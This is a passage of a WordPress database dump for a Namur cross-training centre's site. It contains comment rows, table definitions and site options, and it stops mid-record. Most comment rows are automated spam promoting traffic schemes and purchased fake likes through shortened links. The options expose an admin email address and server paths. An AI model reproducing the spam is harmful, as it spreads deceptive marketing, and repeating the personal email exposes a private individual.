(144, 1, 'Lindsey', 'wcablahyt@tom.com', 'http://tgi.link/dcf2', '23.94.170.211', '2015-10-10 01:38:14', '2015-10-10 01:38:14', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are interested in topics like yours. By getting your site on this service you have a chance to get your site more popular than you can imagine. It is free to sign up and you can find out more about it here: http://tgi.link/dcf2 - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything. All the popular websites are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://tgi.link/dcf2', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(145, 1, 'Lindsey', 'irqyhwem@tom.com', 'http://digitalvikn.com.br/u/nk00', '23.95.196.194', '2015-10-19 01:25:42', '2015-10-19 01:25:42', 'I was just looking at your Hello world! | Cross Training Center (Namur) site and see that your site has the potential to become very popular. I just want to tell you, In case you didn\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your site on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://ittsy.com/it/3x - Now, let me ask you... Do you need your website to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your site on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything. All the popular websites are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://ittsy.com/it/3x', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0);
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(152, 1, 'Mark', 'mark357177@hotmail.com', 'http://www.FyLitCl7Pf7kjQdDUOLQOuaxTXbj5iNG.com', '188.143.232.70', '2016-01-29 20:15:46', '2016-01-29 20:15:46', 'mFCLbZ http://www.FyLitCl7Pf7kjQdDUOLQOuaxTXbj5iNG.com', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
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(154, 1, 'Emily', 'yrksgbfl@gmail.com', 'http://mariowelte.de/8ajy', '37.9.44.241', '2016-05-01 01:09:13', '2016-05-01 01:09:13', 'Hello my name is Emily and I just wanted to send you a quick message here instead of calling you. I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get keyword targeted traffic from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my site. Visit them here: http://janluetzler.de/5ier', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(155, 1, 'Donna', 'wsgtobsi@gmail.com', 'http://nfc.lol/7uzt', '23.95.253.154', '2016-05-07 07:33:16', '2016-05-07 07:33:16', 'Hello, I tried calling you several times today, and I\'m not getting through for some reason. If your website does not have many Facebook Likes, why would someone visit your Facebook Fanpage? People Like you when other people like you. The more people that LIKE your website and fanpage on Facebook, the more credibility you will have with new visitors. It works the same for Twitter, Instagram and Youtube. When people visit your page and see that you have a lot of followers, they now want to follow you too. They too want to know what all the hype is and why all those people are following you. Get some free likes, followers, and views just for trying this service I found: http://shrtlnk.de/7w9i', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0);
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(156, 1, 'Donna', 'lntqureenao@gmail.com', 'http://janluetzler.de/3vm2', '23.95.251.133', '2016-05-16 08:42:53', '2016-05-16 08:42:53', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try their service for free here: http://janluetzler.de/3vm2', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(157, 1, 'Donna', 'oajaob@googlemail.com', 'http://yourls.endinahosting.com/zupe', '23.95.253.154', '2016-06-01 06:24:09', '2016-06-01 06:24:09', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try their service for free here: http://shrtlnk.de/7w9i', 0, 'spam', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(158, 1, 'Sabrina Warren', 'zgysuezzp@hyvagbn.com', 'http://kfon.eu/3', '69.16.147.156', '2017-02-23 03:22:44', '2017-02-23 03:22:44', 'Hi my name is Sabrina Warren and I just wanted to send you a quick message here instead of calling you. I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your website topic. There is a company that you can get keyword targeted traffic from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my site. http://smpros.tk/q', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(159, 1, 'Sabrina Warren', 'pggzmxk@pqmggzw.com', 'http://smpros.tk/q', '69.16.147.148', '2017-02-28 15:35:12', '2017-02-28 15:35:12', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your site on this network you have a chance to get your site more popular than you can imagine. It is free to sign up and you can find out more about it here: http://s.beautheac.net/52 - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the service I am describing. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular blogs are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://acortarurl.es/5i', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(160, 1, 'Sandra', 'nxwnovdsip@nrnwpdi.com', 'http://shorturl.van.ee/8', '31.168.172.137', '2017-03-03 02:32:46', '2017-03-03 02:32:46', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try their service for free here: http://v-doc.co/nm/39zu3', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(161, 1, 'Vickie Figueroa', 'vcpkcc@soagklfa.com', 'http://link.virtualrick.com/8u', '208.167.254.86', '2017-03-16 16:47:10', '2017-03-16 16:47:10', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and most of the users are interested in topics like yours. By getting your site on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://link.virtualrick.com/8u - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your website on the service I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular blogs are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Find out more here: http://kfon.eu/k', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(162, 1, 'Tami Sandoval', 'osljwqxxiti@miyabuy.com', 'http://wntdco.mx/vlyb4', '209.107.214.136', '2017-03-30 04:12:35', '2017-03-30 04:12:35', 'Hi my name is Tami Sandoval and I just wanted to send you a quick message here instead of calling you. I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a successful website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get keyword targeted visitors from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my website. http://soheavyblog.com/1m', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(163, 1, 'Elisa Brown', 'leyswgiuz@mrflazu.com', 'http://shorturl.van.ee/h', '81.171.97.125', '2017-04-24 05:51:52', '2017-04-24 05:51:52', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://priscilarodrigues.com.br/url/v', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(164, 1, 'Elisa Brown', 'exhneloegrv@fqehdcymi.com', 'http://priscilarodrigues.com.br/url/v', '205.185.209.130', '2017-04-28 22:17:38', '2017-04-28 22:17:38', 'This is a message to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://priscilarodrigues.com.br/url/v - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)                                                                                                                                                - Unsubscribe here: http://acortarurl.es/8y', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(165, 1, 'Chelsea Wallace', 'hqklgtrqgwh@fvrmaw.com', 'http://pcgroup.com.uy/15', '81.171.81.234', '2017-05-24 14:50:12', '2017-05-24 14:50:12', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your site: http://pcgroup.com.uy/15 - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)																				Unsubscribe here: http://acortarurl.es/97', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(166, 1, 'Sarah Hughes', 'lnuawlisx@jdiszkxd.com', 'http://magc.co/7fe', '209.197.6.138', '2017-06-04 23:43:49', '2017-06-04 23:43:49', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your site: http://tdil.co/3p - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)																				Unsubscribe here: http://tdil.co/5p', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(167, 1, 'Sarah Hughes', 'ghfqfdsus@tqlqjagzcz.com', 'http://priscilarodrigues.com.br/url/v', '196.52.32.11', '2017-06-14 02:53:08', '2017-06-14 02:53:08', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://magc.co/7fe																				Unsubscribe here: http://tdil.co/5p', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(168, 1, 'Ann Weaver', 'idllhldszt@gouxwnil.com', 'http://magc.co/7fe', '205.185.209.188', '2017-06-24 18:28:52', '2017-06-24 18:28:52', 'I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Check it out here: http://stpicks.com/27																			Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(169, 1, 'Ann Weaver', 'bjzhzk@fjiauool.com', 'http://stpicks.com/27', '81.171.81.55', '2017-07-05 18:51:29', '2017-07-05 18:51:29', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://pcgroup.com.uy/15																				Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0);

-- --------------------------------------------------------

--
-- Structure de la table `www2_duplicator_packages`
--

CREATE TABLE `www2_duplicator_packages` (
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  `owner` varchar(60) NOT NULL,
  `package` mediumblob NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_duplicator_packages`
--

INSERT INTO `www2_duplicator_packages` (`id`, `name`, `hash`, `status`, `created`, `owner`, `package`) VALUES
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-- --------------------------------------------------------

--
-- Structure de la table `www2_links`
--

CREATE TABLE `www2_links` (
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  `link_rating` int(11) NOT NULL DEFAULT '0',
  `link_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `link_rel` varchar(255) NOT NULL DEFAULT '',
  `link_notes` mediumtext NOT NULL,
  `link_rss` varchar(255) NOT NULL DEFAULT ''
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www2_options`
--

CREATE TABLE `www2_options` (
  `option_id` bigint(20) UNSIGNED NOT NULL,
  `option_name` varchar(64) NOT NULL DEFAULT '',
  `option_value` longtext NOT NULL,
  `autoload` varchar(20) NOT NULL DEFAULT 'yes'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_options`
--

INSERT INTO `www2_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(1, 'siteurl', 'http://www.crosstrainingcenter.be', 'yes'),
(2, 'blogname', 'Cross Training Center (Namur)', 'yes'),
(3, 'blogdescription', '', 'yes'),
(4, 'users_can_register', '0', 'yes'),
(5, 'admin_email', 'dpierrard@gmail.com', 'yes'),
(6, 'start_of_week', '1', 'yes'),
(7, 'use_balanceTags', '0', 'yes'),
(8, 'use_smilies', '1', 'yes'),
(9, 'require_name_email', '1', 'yes'),
(10, 'comments_notify', '1', 'yes'),
(11, 'posts_per_rss', '10', 'yes'),
(12, 'rss_use_excerpt', '0', 'yes'),
(13, 'mailserver_url', 'mail.example.com', 'yes'),
(14, 'mailserver_login', 'login@example.com', 'yes'),
(15, 'mailserver_pass', 'password', 'yes'),
(16, 'mailserver_port', '110', 'yes'),
(17, 'default_category', '1', 'yes'),
(18, 'default_comment_status', 'open', 'yes'),
(19, 'default_ping_status', 'open', 'yes'),
(20, 'default_pingback_flag', '1', 'yes'),
(21, 'posts_per_page', '10', 'yes'),
(22, 'date_format', 'F j, Y', 'yes'),
(23, 'time_format', 'g:i a', 'yes'),
(24, 'links_updated_date_format', 'F j, Y g:i a', 'yes'),
(25, 'links_recently_updated_prepend', '&lt;em&gt;', 'yes'),
(26, 'links_recently_updated_append', '&lt;/em&gt;', 'yes'),
(27, 'links_recently_updated_time', '120', 'yes'),
(28, 'comment_moderation', '0', 'yes'),
(29, 'moderation_notify', '1', 'yes'),
(30, 'permalink_structure', '/%postname%/', 'yes'),
(31, 'gzipcompression', '0', 'yes'),
(32, 'hack_file', '0', 'yes'),
(33, 'blog_charset', 'UTF-8', 'yes'),
(34, 'moderation_keys', '', 'no'),
(35, 'active_plugins', 'a:13:{i:0;s:35:\&quot;clicface-trombi/clicface-trombi.php\&quot;;i:1;s:36:\&quot;contact-form-7/wp-contact-form-7.php\&quot;;i:2;s:35:\&quot;display-widgets/display-widgets.php\&quot;;i:3;s:25:\&quot;duplicator/duplicator.php\&quot;;i:4;s:25:\&quot;easy-table/easy-table.php\&quot;;i:5;s:43:\&quot;google-analyticator/google-analyticator.php\&quot;;i:6;s:19:\&quot;piklist/piklist.php\&quot;;i:7;s:47:\&quot;really-simple-captcha/really-simple-captcha.php\&quot;;i:8;s:29:\&quot;seo-ultimate/seo-ultimate.php\&quot;;i:9;s:31:\&quot;slideshow-manager/slideshow.php\&quot;;i:10;s:29:\&quot;total-slider/total-slider.php\&quot;;i:11;s:37:\&quot;widgets-on-pages/widgets_on_pages.php\&quot;;i:12;s:23:\&quot;wordfence/wordfence.php\&quot;;}', 'yes'),
(36, 'home', 'http://www.crosstrainingcenter.be', 'yes'),
(37, 'category_base', '', 'yes'),
(38, 'ping_sites', 'http://rpc.pingomatic.com/', 'yes'),
(39, 'advanced_edit', '0', 'yes'),
(40, 'comment_max_links', '2', 'yes'),
(41, 'gmt_offset', '0', 'yes'),
(42, 'default_email_category', '1', 'yes'),
(43, 'recently_edited', 'a:5:{i:0;s:58:\&quot;/home/crosstra/www/wp-content/themes/figero/front-page.php\&quot;;i:1;s:53:\&quot;/home/crosstra/www/wp-content/themes/figero/style.css\&quot;;i:3;s:55:\&quot;/home/crosstra/www/wp-content/themes/figero/sidebar.php\&quot;;i:4;s:53:\&quot;/home/crosstra/www/wp-content/themes/figero/index.php\&quot;;i:5;s:57:\&quot;/home/crosstra/www/wp-content/themes/figero/functions.php\&quot;;}', 'no'),
(44, 'template', 'figero', 'yes'),
(45, 'stylesheet', 'figero', 'yes'),
(46, 'comment_whitelist', '1', 'yes'),
(47, 'blacklist_keys', '', 'no'),
(48, 'comment_registration', '0', 'yes'),
(49, 'html_type', 'text/html', 'yes'),
(50, 'use_trackback', '0', 'yes'),
(51, 'default_role', 'subscriber', 'yes'),
(52, 'db_version', '26151', 'yes'),
(53, 'uploads_use_yearmonth_folders', '1', 'yes'),
(54, 'upload_path', '', 'yes'),
(55, 'blog_public', '1', 'yes'),
(56, 'default_link_category', '2', 'yes'),
(57, 'show_on_front', 'posts', 'yes'),
(58, 'tag_base', '', 'yes'),
(59, 'show_avatars', '1', 'yes'),
(60, 'avatar_rating', 'G', 'yes'),
(61, 'upload_url_path', '', 'yes'),
(62, 'thumbnail_size_w', '150', 'yes'),
(63, 'thumbnail_size_h', '150', 'yes'),
(64, 'thumbnail_crop', '1', 'yes'),
(65, 'medium_size_w', '300', 'yes'),
(66, 'medium_size_h', '300', 'yes'),
(67, 'avatar_default', 'mystery', 'yes'),
(68, 'large_size_w', '1024', 'yes'),
(69, 'large_size_h', '1024', 'yes'),
(70, 'image_default_link_type', 'file', 'yes'),
(71, 'image_default_size', '', 'yes'),
(72, 'image_default_align', '', 'yes'),
(73, 'close_comments_for_old_posts', '0', 'yes'),
(74, 'close_comments_days_old', '14', 'yes'),
(75, 'thread_comments', '1', 'yes'),
(76, 'thread_comments_depth', '5', 'yes'),
(77, 'page_comments', '0', 'yes'),
(78, 'comments_per_page', '50', 'yes'),
(79, 'default_comments_page', 'newest', 'yes'),
(80, 'comment_order', 'asc', 'yes'),
(81, 'sticky_posts', 'a:0:{}', 'yes'),
(82, 'widget_categories', 'a:1:{s:12:\&quot;_multiwidget\&quot;;i:1;}', 'yes'),
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(84, 'widget_rss', 'a:0:{}', 'yes'),
(85, 'uninstall_plugins', 'a:1:{s:31:\&quot;slideshow-manager/slideshow.php\&quot;;s:25:\&quot;delete_slideshow_database\&quot;;}', 'no'),
(86, 'timezone_string', '', 'yes'),
(87, 'page_for_posts', '0', 'yes'),
(88, 'page_on_front', '0', 'yes'),
(89, 'default_post_format', '0', 'yes'),
(90, 'link_manager_enabled', '0', 'yes'),
(91, 'initial_db_version', '22441', 'yes'),
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(140, 'current_theme', 'Figero', 'yes'),
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(143, 'figero_options', 'a:33:{s:11:\&quot;of_template\&quot;;a:36:{i:0;a:2:{s:4:\&quot;name\&quot;;s:16:\&quot;General Settings\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:1;a:4:{s:4:\&quot;name\&quot;;s:11:\&quot;Custom Logo\&quot;;s:4:\&quot;desc\&quot;;s:61:\&quot;Choose your own logo. Optimal Size: 170px Wide by 30px Height\&quot;;s:2:\&quot;id\&quot;;s:11:\&quot;figero_logo\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:2;a:4:{s:4:\&quot;name\&quot;;s:14:\&quot;Custom Favicon\&quot;;s:4:\&quot;desc\&quot;;s:71:\&quot;Specify a 16px x 16px image that will represent your website\'s favicon.\&quot;;s:2:\&quot;id\&quot;;s:14:\&quot;figero_favicon\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:3;a:5:{s:4:\&quot;name\&quot;;s:20:\&quot;Google Analytic Code\&quot;;s:4:\&quot;desc\&quot;;s:58:\&quot;Paste your Google Analytics (or other) tracking code here.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_analytics\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:4;a:2:{s:4:\&quot;name\&quot;;s:16:\&quot;Top Feature Area\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:5;a:5:{s:4:\&quot;name\&quot;;s:15:\&quot;Feature Heading\&quot;;s:4:\&quot;desc\&quot;;s:17:\&quot;Enter the Heading\&quot;;s:2:\&quot;id\&quot;;s:20:\&quot;figero_slideheading1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:6;a:5:{s:4:\&quot;name\&quot;;s:19:\&quot;Feature Description\&quot;;s:4:\&quot;desc\&quot;;s:17:\&quot;Enter description\&quot;;s:2:\&quot;id\&quot;;s:24:\&quot;figero_slidedescription1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:7;a:5:{s:4:\&quot;name\&quot;;s:21:\&quot;Text For First Button\&quot;;s:4:\&quot;desc\&quot;;s:32:\&quot;Enter the Text for First Button.\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_slidel_rb_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:8;a:5:{s:4:\&quot;name\&quot;;s:21:\&quot;Link For First Button\&quot;;s:4:\&quot;desc\&quot;;s:36:\&quot;Enter the Link URL for First Button.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_slidel_r_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:9;a:5:{s:4:\&quot;name\&quot;;s:22:\&quot;Text For Second Button\&quot;;s:4:\&quot;desc\&quot;;s:33:\&quot;Enter the Text for Second Button.\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_slidel_lb_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:10;a:5:{s:4:\&quot;name\&quot;;s:22:\&quot;Link For Second Button\&quot;;s:4:\&quot;desc\&quot;;s:37:\&quot;Enter the Link URL for Second Button.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_slidel_l_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:4:\&quot;text\&quot;;}i:11;a:5:{s:4:\&quot;name\&quot;;s:13:\&quot;Feature Image\&quot;;s:4:\&quot;desc\&quot;;s:67:\&quot;Choose your image to your feature area. Optimal Size: 516px x 300px\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_slideimage1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:12;a:2:{s:4:\&quot;name\&quot;;s:17:\&quot;Homepage Two Cols\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:13;a:5:{s:4:\&quot;name\&quot;;s:19:\&quot;Left Column Heading\&quot;;s:4:\&quot;desc\&quot;;s:40:\&quot;Enter your heading line for left column.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_headline1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:14;a:5:{s:4:\&quot;name\&quot;;s:23:\&quot;Left Column Description\&quot;;s:4:\&quot;desc\&quot;;s:43:\&quot;Enter your feature content for left column.\&quot;;s:2:\&quot;id\&quot;;s:15:\&quot;figero_feature1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:15;a:5:{s:4:\&quot;name\&quot;;s:20:\&quot;Right Column Heading\&quot;;s:4:\&quot;desc\&quot;;s:41:\&quot;Enter your heading line for right column.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_headline2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:16;a:5:{s:4:\&quot;name\&quot;;s:18:\&quot;Right Column Image\&quot;;s:4:\&quot;desc\&quot;;s:38:\&quot;Choose image for right column section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_testo_image1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:17;a:5:{s:4:\&quot;name\&quot;;s:24:\&quot;Right Column Description\&quot;;s:4:\&quot;desc\&quot;;s:43:\&quot;Enter description for right column section.\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_testo_desc1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:18;a:2:{s:4:\&quot;name\&quot;;s:25:\&quot;Homepage Featured Section\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:19;a:5:{s:4:\&quot;name\&quot;;s:27:\&quot;First Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:44:\&quot;Choose your image for first feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:20;a:5:{s:4:\&quot;name\&quot;;s:29:\&quot;First Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:50:\&quot;Enter your text heading for first feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:21;a:5:{s:4:\&quot;name\&quot;;s:33:\&quot;First Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:58:\&quot;Enter your content for first feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:22;a:3:{s:4:\&quot;name\&quot;;s:23:\&quot;Second Feature Section.\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;saperate\&quot;;s:5:\&quot;class\&quot;;s:9:\&quot;saperator\&quot;;}i:23;a:5:{s:4:\&quot;name\&quot;;s:28:\&quot;Second Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:45:\&quot;Choose your image for second feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:24;a:5:{s:4:\&quot;name\&quot;;s:30:\&quot;Second Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:51:\&quot;Enter your text heading for second feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:25;a:5:{s:4:\&quot;name\&quot;;s:34:\&quot;Second Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:59:\&quot;Enter your content for second feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:26;a:3:{s:4:\&quot;name\&quot;;s:22:\&quot;Third Feature Section.\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;saperate\&quot;;s:5:\&quot;class\&quot;;s:9:\&quot;saperator\&quot;;}i:27;a:5:{s:4:\&quot;name\&quot;;s:27:\&quot;Third Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:44:\&quot;Choose your image for third feature 